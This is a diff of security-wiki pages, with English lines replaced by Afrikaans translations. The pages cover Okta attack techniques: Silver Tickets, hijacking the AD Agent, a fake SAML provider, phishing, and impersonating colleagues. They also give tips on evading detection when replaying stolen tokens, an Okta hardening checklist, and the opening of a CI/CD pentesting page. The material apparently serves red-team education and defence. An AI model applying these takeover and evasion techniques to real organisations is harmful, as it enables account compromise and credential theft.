Die kompromitering van die **Okta diensrekening met die delegasie SPN stel 'n Silver Ticket aanval in staat.** egter, Okta se gebruik van **AES** vir kaartversleuteling vereis dat die AES-sleutel of platte wagwoord besit word. Gebruik **`ticketer.py` om 'n kaart vir die slagoffer gebruiker te genereer** en lewer dit via die blaaier om met Okta te verifieer.
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Kontroleer die aanval in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking Okta AD Agent
|
||||
### Kaap Okta AD Agent
|
||||
|
||||
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
|
||||
Hierdie tegniek behels **toegang tot die Okta AD Agent op 'n bediener**, wat **gebruikers sinkroniseer en verifikasie hanteer**. Deur konfigurasies in **`OktaAgentService.exe.config`** te ondersoek en te ontsleutel, veral die AgentToken met behulp van **DPAPI**, kan 'n aanvaller potensieel **verifikasiedata onderskep en manipuleer**. Dit stel nie net in staat om **te monitor** en **gebruikerswagwoorde** in platte teks tydens die Okta verifikasieproses te vang nie, maar ook om **te reageer op verifikasie pogings**, wat ongeoorloofde toegang moontlik maak of universele verifikasie deur Okta bied (soos 'n 'skelet sleutel').
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Kontroleer die aanval in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking AD As an Admin
|
||||
### Kaap AD As 'n Admin
|
||||
|
||||
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
|
||||
Hierdie tegniek behels die kaaping van 'n Okta AD Agent deur eers 'n OAuth Code te verkry, en dan 'n API-token aan te vra. Die token is geassosieer met 'n AD domein, en 'n **connector word genoem om 'n vals AD agent te vestig**. Inisialiserings laat die agent toe om **verifikasie pogings te verwerk**, wat wagwoorde via die Okta API vang. Outomatiseringsgereedskap is beskikbaar om hierdie proses te stroomlyn, wat 'n naatlose metode bied om verifikasiedata binne die Okta omgewing te onderskep en te hanteer.
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Kontroleer die aanval in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Okta Fake SAML Provider
|
||||
### Okta Vals SAML Verskaffer
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Kontroleer die aanval in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
|
||||
Die tegniek behels **die ontplooiing van 'n vals SAML verskaffer**. Deur 'n eksterne Identiteitsverskaffer (IdP) binne Okta se raamwerk te integreer met behulp van 'n bevoorregte rekening, kan aanvallers **die IdP beheer, enige verifikasie versoek na willekeur goedkeur**. Die proses behels die opstelling van 'n SAML 2.0 IdP in Okta, die manipulasie van die IdP Enkele Aanmelding URL vir omleiding via die plaaslike gashere-lêer, die generering van 'n self-ondertekende sertifikaat, en die konfigurasie van Okta-instellings om teen die gebruikersnaam of e-pos te pas. Die suksesvolle uitvoering van hierdie stappe stel in staat om as enige Okta gebruiker te verifieer, wat die behoefte aan individuele gebruikerswagwoorde omseil, wat toegangbeheer in 'n potensieel onopgemerkte manier aansienlik verhoog.
|
||||
|
||||
### Phishing Okta Portal with Evilgnix
|
||||
### Phishing Okta Portaal met Evilgnix
|
||||
|
||||
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
|
||||
In [**hierdie blogpos**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) word verduidelik hoe om 'n phishing veldtog teen 'n Okta portaal voor te berei.
|
||||
|
||||
### Colleague Impersonation Attack
|
||||
### Kollega Imersonasie Aanval
|
||||
|
||||
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
|
||||
Die **kenmerke wat elke gebruiker kan hê en wysig** (soos e-pos of voornaam) kan in Okta geconfigureer word. As 'n **toepassing** as ID 'n **kenmerk** vertrou wat die gebruiker kan **wysig**, sal hy in staat wees om **ander gebruikers in daardie platform te imiteer**.
|
||||
|
||||
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
|
||||
Daarom, as die app die veld **`userName`** vertrou, sal jy waarskynlik nie in staat wees om dit te verander nie (omdat jy gewoonlik nie daardie veld kan verander nie), maar as dit vertrou byvoorbeeld **`primaryEmail`** kan jy dalk **dit na 'n kollega se e-posadres verander** en dit imiteer (jy sal toegang tot die e-pos moet hê en die verandering moet aanvaar).
|
||||
|
||||
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
|
||||
Therefore, the app should have this field enabled if it exists:
|
||||
Let daarop dat hierdie imersonasie afhang van hoe elke toepassing geconfigureer is. Slegs diegene wat die veld wat jy gewysig het vertrou en opdaterings aanvaar, sal gekompromitteer word.\
|
||||
Daarom moet die app hierdie veld geaktiveer hê as dit bestaan:
|
||||
|
||||
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
|
||||
Ek het ook ander apps gesien wat kwesbaar was maar nie daardie veld in die Okta instellings gehad het nie (aan die einde is verskillende apps anders geconfigureer).
|
||||
|
||||
The best way to find out if you could impersonate anyone on each app would be to try it!
|
||||
Die beste manier om uit te vind of jy iemand op elke app kan imiteer, is om dit te probeer!
|
||||
|
||||
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
|
||||
## Ontwyking van gedragsdeteksiebeleide <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
|
||||
Gedragsdeteksiebeleide in Okta mag onbekend wees totdat dit teëgekom word, maar **omseiling** daarvan kan bereik word deur **direk op Okta toepassings te teiken**, en die hoof Okta dashboard te vermy. Met 'n **Okta toegangstoken**, herhaal die token by die **toepassing-spesifieke Okta URL** in plaas van die hoof aanmeldblad.
|
||||
|
||||
Key recommendations include:
|
||||
Belangrike aanbevelings sluit in:
|
||||
|
||||
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
|
||||
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
|
||||
- **Refrain from replaying** tokens from different users from the same IP address.
|
||||
- Exercise caution when replaying tokens against the Okta dashboard.
|
||||
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
|
||||
- **Vermy die gebruik van** gewilde anonymiseringsproxies en VPN-dienste wanneer jy gevangenis toegangstokens herhaal.
|
||||
- Verseker **konstante gebruikers-agent strings** tussen die kliënt en herhaalde toegangstokens.
|
||||
- **Vermy die herhaling van** tokens van verskillende gebruikers vanaf dieselfde IP-adres.
|
||||
- Wees versigtig wanneer jy tokens teen die Okta dashboard herhaal.
|
||||
- As jy bewus is van die slagoffer maatskappy se IP-adresse, **beperk verkeer** tot daardie IP's of hul reeks, en blokkeer alle ander verkeer.
|
||||
|
||||
## Okta Hardening
|
||||
## Okta Versterking
|
||||
|
||||
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
|
||||
Okta het baie moontlike konfigurasies, op hierdie bladsy sal jy vind hoe om dit te hersien sodat dit so veilig as moontlik is:
|
||||
|
||||
{{#ref}}
|
||||
okta-hardening.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
|
||||
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,202 +1,199 @@
|
||||
# Okta Hardening
|
||||
# Okta Hardeer
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Directory
|
||||
## Gids
|
||||
|
||||
### People
|
||||
### Mense
|
||||
|
||||
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
|
||||
Van 'n aanvaller se perspektief is dit baie interessant omdat jy **alle geregistreerde gebruikers** kan sien, hul **e-pos** adresse, die **groepe** waarvan hulle deel is, **profiele** en selfs **toestelle** (mobiele saam met hul OS's).
|
||||
|
||||
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
|
||||
Vir 'n whitebox hersiening, kyk dat daar nie verskeie "**Wagtende gebruikersaksie**" en "**Wagwoord herstel**" is nie.
|
||||
|
||||
### Groups
|
||||
### Groepe
|
||||
|
||||
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
|
||||
It's possible to see the **people included inside groups** and **apps assigned** to each group.
|
||||
Hier vind jy al die geskepte groepe in Okta. Dit is interessant om die verskillende groepe (stel van **toestemmings**) te verstaan wat aan **gebruikers** toegeken kan word.\
|
||||
Dit is moontlik om die **mense ingesluit in groepe** en **apps toegeken** aan elke groep te sien.
|
||||
|
||||
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
|
||||
Natuurlik is enige groep met die naam **admin** interessant, veral die groep **Global Administrators,** kyk na die lede om te leer wie die mees bevoorregte lede is.
|
||||
|
||||
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
|
||||
Van 'n whitebox hersiening, daar **moet nie meer as 5 globale admins wees nie** (beter as daar net 2 of 3 is).
|
||||
|
||||
### Devices
|
||||
### Toestelle
|
||||
|
||||
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
|
||||
Vind hier 'n **lys van al die toestelle** van al die gebruikers. Jy kan ook sien of dit **aktief bestuur** word of nie.
|
||||
|
||||
### Profile Editor
|
||||
### Profielredigeerder
|
||||
|
||||
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
|
||||
Hier is dit moontlik om te observeer hoe sleutel-inligting soos voorname, vanname, e-posse, gebruikersname... tussen Okta en ander toepassings gedeel word. Dit is interessant omdat as 'n gebruiker **'n veld in Okta kan wysig** (soos sy naam of e-pos) wat dan deur 'n **eksterne toepassing** gebruik word om die gebruiker te **identifiseer**, kan 'n insider probeer om **ander rekeninge oor te neem**.
|
||||
|
||||
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
|
||||
Boonop, in die profiel **`User (default)`** van Okta kan jy **watter velde** elke **gebruiker** het en watter een **skryfbaar** is deur gebruikers. As jy nie die admin paneel kan sien nie, gaan net na **opdateer jou profiel** inligting en jy sal sien watter velde jy kan opdateer (let daarop dat jy 'n e-pos adres moet verifieer om dit op te dateer).
|
||||
|
||||
### Directory Integrations
|
||||
### Gids Integrasies
|
||||
|
||||
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
|
||||
Gidse laat jou toe om mense van bestaande bronne te importeer. Ek raai hier sal jy die gebruikers sien wat van ander gidse geïmporteer is.
|
||||
|
||||
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
|
||||
Ek het dit nie gesien nie, maar ek raai dit is interessant om uit te vind **ander gidse wat Okta gebruik om gebruikers te importeer** sodat as jy **daardie gids kompromitteer** kan jy sekere attribuutwaardes in die gebruikers geskep in Okta stel en **miskien die Okta omgewing kompromitteer**.
|
||||
|
||||
### Profile Sources
|
||||
### Profielbronne
|
||||
|
||||
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
|
||||
'n Profielbron is 'n **toepassing wat as 'n bron van waarheid** vir gebruikersprofielattribuut dien. 'n Gebruiker kan slegs deur 'n enkele toepassing of gids op 'n slag verkry word.
|
||||
|
||||
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
|
||||
Ek het dit nie gesien nie, so enige inligting oor sekuriteit en hacking rakende hierdie opsie word waardeer.
|
||||
|
||||
## Customizations
|
||||
## Pasmaak
|
||||
|
||||
### Brands
|
||||
### Handelsmerke
|
||||
|
||||
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
|
||||
Kyk in die **Domeine** oortjie van hierdie afdeling die e-pos adresse wat gebruik word om e-posse te stuur en die pasgemaakte domein binne Okta van die maatskappy (wat jy waarskynlik al weet).
|
||||
|
||||
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
|
||||
Boonop, in die **Instelling** oortjie, as jy admin is, kan jy "**Gebruik 'n pasgemaakte aftekenbladsy**" en 'n pasgemaakte URL stel.
|
||||
|
||||
### SMS
|
||||
|
||||
Nothing interesting here.
|
||||
Niks interessant hier nie.
|
||||
|
||||
### End-User Dashboard
|
||||
### Eindgebruiker Dashboard
|
||||
|
||||
You can find here applications configured, but we will see the details of those later in a different section.
|
||||
Jy kan hier toepassings vind wat geconfigureer is, maar ons sal die besonderhede van daardie later in 'n ander afdeling sien.
|
||||
|
||||
### Other
|
||||
### Ander
|
||||
|
||||
Interesting setting, but nothing super interesting from a security point of view.
|
||||
Interessante instelling, maar niks super interessant van 'n sekuriteitsoogpunt nie.
|
||||
|
||||
## Applications
|
||||
## Toepassings
|
||||
|
||||
### Applications
|
||||
### Toepassings
|
||||
|
||||
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
|
||||
Hier kan jy al die **geconfigureerde toepassings** en hul besonderhede vind: Wie toegang tot hulle het, hoe dit geconfigureer is (SAML, OpenID), URL om aan te meld, die kaarte tussen Okta en die toepassing...
|
||||
|
||||
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
|
||||
In die **`Teken Aan`** oortjie is daar ook 'n veld genaamd **`Wagwoord onthul`** wat 'n gebruiker sou toelaat om sy **wagwoord te onthul** wanneer hy die toepassingsinstellings nagaan. Om die instellings van 'n toepassing vanaf die Gebruiker Paneel te kontroleer, klik op die 3 punte:
|
||||
|
||||
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
And you could see some more details about the app (like the password reveal feature, if it's enabled):
|
||||
En jy kan 'n paar meer besonderhede oor die app sien (soos die wagwoord onthul funksie, as dit geaktiveer is):
|
||||
|
||||
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Identity Governance
|
||||
## Identiteit Bestuur
|
||||
|
||||
### Access Certifications
|
||||
### Toegang Sertifisering
|
||||
|
||||
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
|
||||
Gebruik Toegang Sertifisering om ouditveldtogte te skep om jou gebruikers se toegang tot hulpbronne periodiek te hersien en toegang outomaties goed te keur of te herroep wanneer nodig.
|
||||
|
||||
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
|
||||
Ek het dit nie gesien nie, maar ek raai dat dit van 'n defensiewe oogpunt 'n mooi kenmerk is.
|
||||
|
||||
## Security
|
||||
## Sekuriteit
|
||||
|
||||
### General
|
||||
### Algemeen
|
||||
|
||||
- **Security notification emails**: All should be enabled.
|
||||
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
|
||||
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
|
||||
- **User enumeration prevention**: Both should be enabled
|
||||
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
|
||||
- Self-Service Registration
|
||||
- JIT flows with email authentication
|
||||
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
|
||||
- **Sekuriteitskennisgewing e-posse**: Alles moet geaktiveer wees.
|
||||
- **CAPTCHA integrasie**: Dit word aanbeveel om ten minste die onsigbare reCaptcha in te stel.
|
||||
- **Organisasie Sekuriteit**: Alles kan geaktiveer word en aktivering e-posse moet nie lank neem nie (7 dae is reg).
|
||||
- **Gebruiker enumerasie voorkoming**: Albei moet geaktiveer wees.
|
||||
- Let daarop dat Gebruiker Enumerasie Voorkoming nie in werking tree as enige van die volgende toestande toegelaat word nie (sien [Gebruiker bestuur](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) vir meer inligting):
|
||||
- Selfdiens Registrasie
|
||||
- JIT vloei met e-posverifikasie
|
||||
- **Okta ThreatInsight instellings**: Log en handhaaf sekuriteit gebaseer op bedreigingsvlak.
|
||||
|
||||
### HealthInsight
|
||||
|
||||
Here is possible to find correctly and **dangerous** configured **settings**.
|
||||
Hier is dit moontlik om korrek en **gevaarlike** geconfigureerde **instellings** te vind.
|
||||
|
||||
### Authenticators
|
||||
### Autentiseerders
|
||||
|
||||
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
|
||||
Hier kan jy al die autentiseringmetodes vind wat 'n gebruiker kan gebruik: Wagwoord, telefoon, e-pos, kode, WebAuthn... Deur op die Wagwoord autentiseerder te klik kan jy die **wagwoord beleid** sien. Kyk dat dit sterk is.
|
||||
|
||||
In the **Enrollment** tab you can see how the ones that are required or optinal:
|
||||
In die **Registrasie** oortjie kan jy sien hoe diegene wat vereis of opsioneel is:
|
||||
|
||||
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
|
||||
Dit word aanbeveel om Telefoon te deaktiveer. Die sterkste is waarskynlik 'n kombinasie van wagwoord, e-pos en WebAuthn.
|
||||
|
||||
### Authentication policies
|
||||
### Autentisering beleid
|
||||
|
||||
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
|
||||
Elke app het 'n autentisering beleid. Die autentisering beleid verifieer dat gebruikers wat probeer om in te teken op die app aan spesifieke voorwaardes voldoen, en dit handhaaf faktor vereistes gebaseer op daardie voorwaardes.
|
||||
|
||||
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
|
||||
Hier kan jy die **vereistes om toegang tot elke toepassing** te verkry. Dit word aanbeveel om ten minste wagwoord en 'n ander metode vir elke toepassing te vra. Maar as 'n aanvaller vind jy iets meer swak, kan jy dalk dit aanval.
|
||||
|
||||
### Global Session Policy
|
||||
### Globale Sessie Beleid
|
||||
|
||||
Here you can find the session policies assigned to different groups. For example:
|
||||
Hier kan jy die sessiebeleide vind wat aan verskillende groepe toegeken is. Byvoorbeeld:
|
||||
|
||||
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
|
||||
Dit word aanbeveel om MFA te vra, die sessie lewensduur tot 'n paar ure te beperk, nie sessie koekies oor blaaiers te persisteer nie en die ligging en Identiteitsverskaffer te beperk (as dit moontlik is). Byvoorbeeld, as elke gebruiker van 'n land moet aanmeld, kan jy net hierdie ligging toelaat.
|
||||
|
||||
### Identity Providers
|
||||
### Identiteitsverskaffers
|
||||
|
||||
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
|
||||
Identiteitsverskaffers (IdPs) is dienste wat **gebruikersrekeninge bestuur**. Om IdPs in Okta by te voeg, stel jou eindgebruikers in staat om **self te registreer** met jou pasgemaakte toepassings deur eers met 'n sosiale rekening of 'n slimkaart te autentiseer.
|
||||
|
||||
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
|
||||
Op die Identiteitsverskaffers bladsy kan jy sosiale aanmeldings (IdPs) byvoeg en Okta as 'n diensverskaffer (SP) configureer deur inkomende SAML by te voeg. Nadat jy IdPs bygevoeg het, kan jy roeteringsreëls opstel om gebruikers na 'n IdP te lei gebaseer op konteks, soos die gebruiker se ligging, toestel of e-posdomein.
|
||||
|
||||
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
|
||||
**As enige identiteitsverskaffer geconfigureer is** van 'n aanvaller en verdediger se perspektief, kyk daardie konfigurasie en **of die bron regtig betroubaar is** aangesien 'n aanvaller wat dit kompromitteer ook toegang tot die Okta omgewing kan kry.
|
||||
|
||||
### Delegated Authentication
|
||||
### Geleende Autentisering
|
||||
|
||||
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
|
||||
Geleende autentisering laat gebruikers toe om in te teken op Okta deur inlogbesonderhede vir hul organisasie se **Active Directory (AD) of LDAP** bediener in te voer.
|
||||
|
||||
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
|
||||
Weereens, herkontroleer dit, aangesien 'n aanvaller wat 'n organisasie se AD kompromitteer, dalk in staat kan wees om na Okta te pivot deur hierdie instelling.
|
||||
|
||||
### Network
|
||||
### Netwerk
|
||||
|
||||
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
|
||||
'n Netwerk sone is 'n konfigureerbare grens wat jy kan gebruik om **toegang tot rekenaars en toestelle** in jou organisasie te **verleen of te beperk** gebaseer op die **IP adres** wat toegang versoek. Jy kan 'n netwerk sone definieer deur een of meer individuele IP adresse, reekse van IP adresse, of geografiese liggings te spesifiseer.
|
||||
|
||||
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
|
||||
Nadat jy een of meer netwerk sones gedefinieer het, kan jy **dit in Globale Sessie Beleide**, **autentisering beleide**, VPN kennisgewings, en **roeteringsreëls** gebruik.
|
||||
|
||||
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
|
||||
Van 'n aanvaller se perspektief is dit interessant om te weet watter IP's toegelaat word (en kyk of enige **IP's meer bevoorreg** is as ander). Van 'n aanvaller se perspektief, as die gebruikers van 'n spesifieke IP adres of streek moet toegang hê, kyk of hierdie funksie behoorlik gebruik word.
|
||||
|
||||
### Device Integrations
|
||||
### Toestel Integrasies
|
||||
|
||||
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
|
||||
- I haven't seen this used yet. TODO
|
||||
- **Notification services**: I haven't seen this used yet. TODO
|
||||
- **Eindpunt Bestuur**: Eindpunt bestuur is 'n voorwaarde wat in 'n autentisering beleid toegepas kan word om te verseker dat bestuurde toestelle toegang tot 'n toepassing het.
|
||||
- Ek het dit nog nie gesien nie. TODO
|
||||
- **Kennisgewing dienste**: Ek het dit nog nie gesien nie. TODO
|
||||
|
||||
### API
|
||||
|
||||
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
|
||||
Jy kan Okta API tokens op hierdie bladsy skep, en diegene wat **gecreëer** is, hul **privileges**, **verval** tyd en **Oorsprong URL's** sien. Let daarop dat 'n API token gegenereer word met die toestemmings van die gebruiker wat die token geskep het en slegs geldig is as die **gebruiker** wat dit geskep het **aktief** is.
|
||||
|
||||
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
|
||||
Die **Betroubare Oorspronge** verleen toegang tot webwerwe wat jy beheer en vertrou om toegang tot jou Okta org deur die Okta API te verkry.
|
||||
|
||||
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
|
||||
Daar moet nie baie API tokens wees nie, aangesien as daar is, kan 'n aanvaller probeer om toegang daartoe te verkry en dit te gebruik.
|
||||
|
||||
## Workflow
|
||||
## Werkvloei
|
||||
|
||||
### Automations
|
||||
### Outomatiserings
|
||||
|
||||
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
|
||||
Outomatiserings laat jou toe om outomatiese aksies te skep wat loop gebaseer op 'n stel van trigger voorwaardes wat tydens die lewensiklus van eindgebruikers voorkom.
|
||||
|
||||
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
|
||||
Byvoorbeeld, 'n voorwaarde kan wees "Gebruiker inaktiwiteit in Okta" of "Gebruiker wagwoord vervaldatum in Okta" en die aksie kan wees "Stuur e-pos aan die gebruiker" of "Verander gebruiker lewensiklus toestand in Okta".
|
||||
|
||||
## Reports
|
||||
## Verslae
|
||||
|
||||
### Reports
|
||||
### Verslae
|
||||
|
||||
Download logs. They are **sent** to the **email address** of the current account.
|
||||
Laai logs af. Hulle word **gestuur** na die **e-pos adres** van die huidige rekening.
|
||||
|
||||
### System Log
|
||||
### Stelsellog
|
||||
|
||||
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
|
||||
Hier kan jy die **logs van die aksies uitgevoer deur gebruikers** vind met baie besonderhede soos aanmelding in Okta of in toepassings deur Okta.
|
||||
|
||||
### Import Monitoring
|
||||
### Invoer Monitering
|
||||
|
||||
This can **import logs from the other platforms** accessed with Okta.
|
||||
Dit kan **logs van die ander platforms** wat met Okta toeganklik is invoer.
|
||||
|
||||
### Rate limits
|
||||
### Tarief beperkings
|
||||
|
||||
Check the API rate limits reached.
|
||||
Kyk die API tarief beperkings wat bereik is.
|
||||
|
||||
## Settings
|
||||
## Instellings
|
||||
|
||||
### Account
|
||||
### Rekening
|
||||
|
||||
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
|
||||
Hier kan jy **generiese inligting** oor die Okta omgewing vind, soos die maatskappy se naam, adres, **e-pos faktuur kontak**, **e-pos tegniese kontak** en ook wie Okta opdaterings moet ontvang en watter tipe Okta opdaterings.
|
||||
|
||||
### Downloads
|
||||
### Aflaaie
|
||||
|
||||
Here you can download Okta agents to sync Okta with other technologies.
|
||||
Hier kan jy Okta agente aflaai om Okta met ander tegnologieë te sinkroniseer.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD Methodology
|
||||
# Pentesting CI/CD Metodologie
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,98 +6,105 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
|
||||
VCS staan vir Version Control System; hierdie stelsels laat ontwikkelaars toe om hul bronkode te bestuur. Die mees algemene is **git** en jy sal gewoonlik maatskappye vind wat dit op een van die volgende **platforms** gebruik:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
- Bitbucket
|
||||
- Gitea
|
||||
- Gitblit
|
||||
- Cloud providers (they offer their own VCS platforms)
|
||||
- Cloud providers (hulle bied hul eie VCS-platforms aan)
|
||||
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
